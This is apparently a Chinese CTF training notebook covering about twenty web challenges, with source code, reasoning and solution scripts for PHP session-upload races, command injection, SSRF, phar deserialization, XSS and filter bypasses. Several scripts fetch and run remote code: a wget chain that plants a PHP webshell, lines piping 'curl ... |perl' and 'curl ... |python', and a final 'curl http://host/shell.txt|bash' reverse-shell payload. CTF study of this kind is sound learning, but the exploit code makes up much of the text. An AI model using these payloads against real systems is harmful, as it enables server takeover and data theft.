五一特训,٩꒰▽ ꒱۶⁼³₌₃ 学习去咯!!!
http://106.15.93.118/challenges
1. ezphp
链接:
考点:
参考资料:
2. hardjs
链接:http://203.195.224.127:30002/login
考点:javascript原型链污染
参考资料:
1、writeup:https://lihuaiqiu.github.io/2019/09/25/XNUCA2019-Hardjs/#more
2、prototype-pollution-notes:https://www.xmsec.cc/prototype-pollution-notes/
3、javascript原型链污染详解:https://wulidecade.cn/2019/04/15/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E8%AF%A6%E8%A7%A3(%E5%90%8E%E6%9C%89%E5%BD%A9%E8%9B%8B)/
3. hardphp
链接:http://114.55.93.141:12345/
考点:
1、代码审计
2、ssti模板注入
3、SSRF TO RCE IN Mysql
参考资料:
1、writeup:https://forum.90sec.com/t/topic/397
2、php curl curl_getinfo()返回参数详解:https://www.cnblogs.com/zqifa/p/php-curl-3.html
3、URI和URL的区别:https://www.jianshu.com/p/ba15d066f777
5、经典面试题:从浏览器地址栏输入网址,到网页彻底打开,中间经历了什么:
https://www.cnblogs.com/xieshengdev/p/10063882.html
6、URL各部分详解 https://blog.csdn.net/weixin_42246997/article/details/102782616
4. one-line-php-challenge
链接:http://203.195.224.127:30005/
考点:base64加解密原理+session文件上传
参考资料:
1、hitcon 2018受虐笔记一:one-line-php-challenge 学习:https://www.codercto.com/a/33740.html
2、hitcon2018 One Line PHP Challenge :https://www.joyk.com/dig/detail/1540387853494766
3、hitcon2018 One Line PHP Challenge : https://www.shukaiming.com/article/528
4、Real World CTF Of “The Return of One Line PHP Challenge” https://www.codercto.com/a/43464.html
(王一航???)
题目源码:
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
4.1 思路
利用PHP_SESSION_UPLOAD_PROGRESS上传session文件,但session文件头总是upload_progress_,判断语句过不去,就想到用伪协议多次base64解码使得@<?php前面的内容正好为空,所以相当于要分两步走。
第一步 构造upload_progress_再加上两个字符,正好16个字符,是4的倍数,要用脚本爆破出符合要求的那两个字符。
第二步 @<?php及后面的内容也是要base64解码3次的,所以也要进行构造出合适的经3次base64加密的字符串。
<?php
//解码演示
//一般第一次解密就只剩下4个可见字符了
//第二次解密就没有可见字符了,根本就不用等到第三次解密
//exp: upload_progress_ZB
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
$i = 0 ;
$data = "upload_progress_".substr(str_shuffle($str),10,2);
#str_shrffle()随机地打乱字符串中的所有字符
$s = base64_decode($data);
$s_length = strlen(preg_replace('|[^a-z0-9A-Z /]|s', '', $s));
$ss = base64_decode($s);
$ss_length = strlen(preg_replace('|[^a-z0-9A-Z /]|s', '', $ss));
$sss = base64_decode($ss);
if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
echo $s;
echo "</br>";
echo $s_length;
echo "</br>";
echo $ss;
echo "</br>";
echo $ss_length;
echo "</br>";
echo $data;
break;
}
}
import string
from base64 import b64encode
from random import sample, randint
#payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
payload = '@<?php echo `cat /flag`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(1, 24)))
#从序列a中随机抽取n个元素,这里的序列a为string.ascii_letters,n为randint(1, 24),并将n个元素生以list形式返回。
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print xxx
break
第三步 大概思路
1、上传的html脚本,value处写构造内容,如:ZBVVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIVG1oa1EwRjJXbTE0YUZveVFUZFFlalZv。上传文件尽可能大,我上传的文件大小大概是2MB。PHPSESSID处自定义。
2、session存储路径为/var/lib/php/sessions/,用伪协议访问,?orange=php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_name
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://47.112.158.20:30004/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="submit" />
</form>
</body>
</html>
4.2 orange大佬的脚本改良版
还是用脚本比较高端、大气、上档次!!!
#coding:utf-8
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://47.112.158.20:30004/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php echo `cat /flag`;?>'
#这里记得要有echo
# while 1:
# junk = ''.join(sample(string.ascii_letters, randint(1, 24)))
# x = b64encode(payload + junk)
# xx = b64encode(b64encode(payload + junk))
# xxx = b64encode(b64encode(b64encode(payload + junk)))
# if '=' not in x and '=' not in xx and '=' not in xxx:
# print xxx
# break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZB' + 'VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIVG1oa1EwRjJXbTE0YUZveVFUZFFlalZv'
}
with open(r'C:\Users\hacker\Desktop\kong.txt', 'rb') as fp:
#这里的文件要尽可能大
while 1:
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if b'flag' in c:
print(c)
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
# result = pool.map_async(runner, range(32) ).get(0xffff)
result = pool.map_async(runner, range(32) ).get(0xffff)
5. ssrfme (python代码审计)
链接:http://114.55.93.141:30003/
考点:ssrf
参考资料:
1、BUUCTF WEB [De1CTF 2019]SSRF Me https://blog.csdn.net/qq_42967398/article/details/103549258
2、De1CTF ssrf_me 的三种解法 https://xz.aliyun.com/t/5927#toc-3
5.1 思路
绕过限定条件:
1、action处要求既有read,又要有scan;
2、秘钥secret未知,但要求param、action和sign满足固定的条件,所以就要根据字符串拼接进行伪造绕过
3、param=flag.txt,过程中会把沙箱里的result.txt内容写到flag.txt,如果我们满足条件,最后访问就拿到了flag。
5.2 注意事项
burp构造发包时,Cookie处格式为:Cookie:action=readscan;sign=72375f30ec54455edd643858eaef4529
写python脚本时,则为cookies=content,content处为一个构造的字典。
6. readme (cookie伪造)
链接:http://203.195.224.127:30007/
考点:ssrf
参考资料:
1、writeup1:https://www.cnblogs.com/kevinbruce656/p/12638984.html
2、writeup2:https://cloud.tencent.com/developer/article/1611142
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/
6.1 思路
看到/read?url=这里的read,联想到是python框架,url后面接一个/etc/passwd,可以看到是一个任意文件读取,再去读/app/app.py,看到源代码。
uuid.getnode()得到本机的mac地址,并转为整数。路径为/sys/class/net/eth0/address,访问得到,并要转为16进制,就是去掉所有分号并在最前面加上一个0x;
然后计算str(random.random()*233)得到密钥,并且只有将密钥截取到小数点后9位才能成功,神奇,36.280453523。(其实解密的时候是不需要密钥的!)
python flask*3.py decode -s -c #解密,根据解密结果修改后进行加密
python flask*3.py encode -s -t #加密
带着伪造的session访问/flag即可。
7. easypython
链接:http://203.195.224.127:30004/
考点:
参考资料:
1、writeup:https://www.cnblogs.com/wangtanzhi/p/12181032.html
2、 SUCTF 2019 Writeup — De1ta :https://xz.aliyun.com/t/6042#toc-24
3、urlparse和urlsplit函数用法:https://blog.csdn.net/weixin_41684949/article/details/94619328
4、python 中 urlparse 模块介绍:https://www.cnblogs.com/xie-kun/p/7858358.html
5、blackhat大会ppt https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
7.1 思路
1、代码审计
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form method="GET" action="getUrl">
URL:<input type="text" name="url"/>
<input type="submit" value="Submit"/>
</form>
<code>
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
#得到域名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
#上面的两个if语句,分别通过parse.urlparse和parse.urlsplit截取到域名,并进行两次判断
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
#域名处以.隔开的各部分进行编码后再解码,此处是破题点
parts[1] = '.'.join(newhost)
#综上,对parts的域名部分进行了if判断和编码解码处理。
finalUrl = urlunsplit(parts).split(' ')[0]
#以空格为分隔符,并取第一部分作为finalurl,相当于去掉空格
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
</body>
</html>
2、要清楚nginx重要文件的配置路径:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx/access.log
配置文件目录为:/usr/local/nginx/conf/nginx.conf
3、用unicode编码绕过,fuzz脚本(根据题目源代码改的)如下:
注意:用python3,导入相应库,改return
#coding:utf-8
from urllib import parse
from urllib.parse import urlparse,urlunsplit,urlsplit
def getUrl(url):
url = url
#
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
#
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
#
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
#
else:
return False
#
for i in range(0,65536):
url = "http://suctf.c{}".format(chr(i))
try:
if getUrl(url):
print("str: "+chr(i)+" unicode: \\u"+str(hex(i))[2:])
except:
continue
利用file协议先读nginx配置文件目录,看到flag所在路径,读取flag。
file://suctf.cC/usr/local/nginx/conf/nginx.conf
file://suctf.cC/usr/fffffflag
8. easyweb
链接:http://203.195.224.127:30008/
考点:sql注入+文件上传
参考资料:
2、[CISCN2019 总决赛 Day2 Web1]Easyweb https://www.cnblogs.com/wangtanzhi/p/12253918.html
9. rce??
链接:http://203.195.224.127:30009/
考点:
参考资料:
1、命令注入各种骚姿势:
题目源码:
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
highlight_file(__FILE__);
?>
#!/usr/bin/python3
#-*- coding: utf-8 -*-
import requests
def GetShell():
url = "http://203.195.224.127:30009/index.php?1="
fileNames = ["1.php","-O\ \\","127\ \\","224.\\","195.\\","03.\\","\ 2\\","wget\\"]
# linux创建中间有空格的文件名,需要对空格转义
#wget 203.195.224.127 -O 1.php
for fileName in fileNames:
createFileUrl = url+">"+fileName
print createFileUrl
requests.get(createFileUrl)
#每次命令执行都可以在当前目录下写一个文件。
#写文件用>
getShUrl = url + "ls -t>1"
#把所写的所有文件名按时间排序组合在一起,写到文件1里
#wget 203.195.224.127 -O 1.php
#访问远程主机,得到一个一句话木马
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "sh 1"
#执行文件1里的内容,首行为1并不影响。
print getShellUrl
requests.get(getShellUrl)
shellUrl = "http://203.195.224.127:30009/1.php"
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] fail!"
if __name__ == "__main__":
GetShell()
10. rce复仇
链接:http://203.195.224.127:30010/
考点:
参考资料:
1、命令注入各种骚姿势
2、Hitcon2017 babyfirst-revenge复现 https://blog.csdn.net/u011377996/article/details/82464383
思路:
先写一个ls -t>g到_文件,然后
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>-t\'
'>\>g'
'>l\'
'>s\ \'
'ls>a'
'ls>>a'
#由前面所述,错误的命令不会影响后面正确语句的正确执行,所以第一行到第三行是错误的命令可忽略,并且第三行a后没有续行符,这不会影响到下一行。从第四行到第七行,由于续行符(\),可以构成如下的命令:
# generate `curl orange.tw.tw>python`
# curl shell.xxx.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh a',
'sh g',
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
print i
sleep(0.2)
11. SimplePHP
考点:phar反序列化
参考资料:
1、 2018SWPUCTF-Web全详解 https://xz.aliyun.com/t/3656#toc-0
11.1 源码
index.php
<?php
//index.php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
file.php
<?php
//file.php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
function.php
<?php
//function.php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
//class.php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
base.php
<?php
//base.php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
11.2 思路
程序结束时C1e4r类会调用destruct,利用echo输出类来调用Show类的toString,利用没有source成员变量的特性,调用Test类的get,进行任意文件读取。
需要注意的是路径要为绝对路径,魔术函数__GET得到键值的方式。
另一种思路:想利用Show的wakeup,本地跟踪发现是可以读到文件数据的,但后面因为$show->source = $file;
$show->_show(); 猜测是把返回值给覆盖了,最后未出现flag。而解题思路是在程序最后结束时调用destruct的,所以没有存在这个问题。
exp:
<?php
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
class C1e4r
{
public $test;
public $str;
}
$a = new Test();
// $a->params = array("source"=>'D://flag');
$a->params = array("source"=>'/var/www/html/f1ag.php');
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
echo serialize($c);
$phar = new Phar("18.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
12. Simple Upload
链接:
考点:
参考资料:
13. Try to alert(XSS)
链接:https://challenge.intigriti.io/
考点:XSS
参考资料:
1、writeup1:https://xz.aliyun.com/t/7655
2、writeup2:https://www.secpulse.com/archives/128882.html(不用.htaccess)
源代码:
var hash = document.location.hash.substr(1);
//hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
//location.hash返回当前url的锚部分
//.substr(1)取的是#后面的那一部分
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
exp:
探测:/.htaccess?x<img src=# onerror=alert(1)>
打:../.htaccess?%253cimg%2520src=%2523%2520onerror=alert(1)%253e 会生成img标签,而且已经渲染,但不会弹窗
探测: /x%27-alert(document.domain)-%27
<iframe/srcdoc='<script src="x%27-alert(document.domain)-%27"></script>'>
打: ../.htaccess?%253ciframe%252fsrcdoc%253d%2527<script%2520src%253d"x%252527-alert%2528document%252edomain%2529-%252527"><%252fscript>%2527>
//配合iframe的srcdoc属性,通过script标签,加载x'-alert(document.domain)-'路径下的内容当作js执行,内容是这个:404 - 'File "x'-alert(document.domain)-'" was not found in this folder.'
最终导致弹窗
14. SVG XSS
链接:
考点:
参考资料:
15. Json Cat
链接:http://catweb.zajebistyc.tf/
考点:
参考资料:
1、Confidence2020-Web题解 https://hpdoger.cn/2020/03/15/title:%20Confidence2020-Web%E9%A2%98%E8%A7%A3/
16. template js
链接:https://templejs.zajebistyc.tf/
考点:
参考资料:
1、Confidence2020-Web题解 https://hpdoger.cn/2020/03/15/title:%20Confidence2020-Web%E9%A2%98%E8%A7%A3/
17. hardweb
链接:http://139.224.236.99:8667/
考点:无数字字母shell + .htaccess文件上传 + 绕过open_basedir/disable_function
参考资料:
1、文档:writeup.note
链接:http://note.youdao.com/noteshare?id=76ca44341bd234158e8ec635affcea2d&sub=B06DF4E3E2E840A28A9ECA60BDE4CF8A
3、writeup2:https://www.cnblogs.com/wangtanzhi/p/12250386.html
4、writeup3:https://www.cnblogs.com/20175211lyz/p/11488051.html
5、writeup4:https://xz.aliyun.com/t/6042#toc-21
6、PHP动态特性的捕捉与逃逸
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
7、 利用htaccess绕黑名单,mail绕过disable function https://xz.aliyun.com/t/3937
17.1 思路
没有思路,就是掌握太少!!!
题目源码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
//扩展名不能带有ph,用.htaccess
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
//mb_strpos()返回要查找的字符串在另一个字符串首次出现的位置,不能有<?
//绕过方式1:<script language="php">@eval($_POST['a']);</script>
//这道题php版本为7.2,无法使用绕过方式1
//绕过方式2,用base64编码绕过
if(!exif_imagetype($tmp_name)) die("^_^");
//读取图像的第一个字节,并检查其签名
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path); //将上传的文件移动到新位置
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
//过滤的有[ \x00 - 空格 0-9 A-Z a-z ' " ` ~ _ & . , | = [ \x7F
//加号匹配前面的子表达式一次或多次,例如"zo+"能匹配"zo"和"zoo",但不能匹配"z"。+等价于{1,}。
die('Try something else!');
$character_type = count_chars($hhh, 3);
//count_chars(),包含在$hhh中使用过的不同字符。
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
17.1.1 fuzz测试和无数字字母shell
1、根据题目正则滤过机制,写脚本查看还剩下哪些可见字符。
2、php代码中没有引号的字符都作为字符串。
构造:${_GET}{phpinfo}();
绕过可见字符的检测
echo urlencode("_GET"^urldecode(%ff%ff%ff%ff));
%A0%B8%BA%AB
payload:
?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
17.1.2 绕过exif_imagetype()
加文件头\x00\x00\x8a\x39\x8a\x39,这个是wbmp文件的文件头,要么在winhex里加,要么用python的bytes类型,例如:b”\x00\x00\x8a\x39\x8a\x39”。这里是六个字节, 写shell的时候后面要再加两个字节,凑够8字节,满足base64解码规则。例如:b”\x00\x00\x8a\x39\x8a\x39”+b”00”
.htaccess中以0x00开头的同样是注释符,不会影响到.htaccess。
17.1.3 绕过disable_function
c=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/THis_Is_tHe_F14g'));
18. Boring code
链接:http://139.224.236.99:8123/ (多了一点限制!!)
考点:代码审计+代码执行
参考资料:
1、【SSRF】如何绕过filter_var(), preg_match() 和 parse_url() https://www.jianshu.com/p/80ce73919edb
2、writeup:https://www.cnblogs.com/BOHB-yunying/p/11616311.html#38yMmYAA
3、正则分析: https://regex101.com/
18.1 思路
题目源码:
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
# filter_var — 使用特定的过滤器过滤一个变量
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
//这里的迭代正则匹配无参数函数
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
只能执行类似 a(b(c())); 的代码
同时还有一些黑名单et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log
flag在上一个目录的index.php里面
首先要走到上一个目录
现在已经能够切回到上一层目录
var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
phpversion()返回php版本,如7.3.5
floor(phpversion())返回7
sqrt(floor(phpversion()))返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))返回True
localtime(time(True))返回一个数组
最终的exp:
一
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
二 http://203.195.224.127:8123/
echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));
19. ezcms
链接:http://139.224.236.99:8124/
考点:源代码泄露+hash长度扩展攻击+phar反序列化
参考资料:
1、ByteCTF_2019&XNUCA_2019部分web题复现 https://blog.csdn.net/qq_42181428/article/details/100659865
2、利用SoapClient类进行SSRF+CRLF攻击 https://blog.csdn.net/qq_42181428/article/details/100569464
3、 N1CTF Easy&&Hard Php Writeup https://xz.aliyun.com/t/2148
20. hardRCE
考点:代码执行+反弹shell(因为``没有回显,所以最好反弹shell)
题目:
<?php
highlight_file(__FILE__);
$cc = $_GET['cc'];
eval(substr($cc,0,6));
?>
payload:
?a=`$cc`;curl http://host/shell.txt|bash;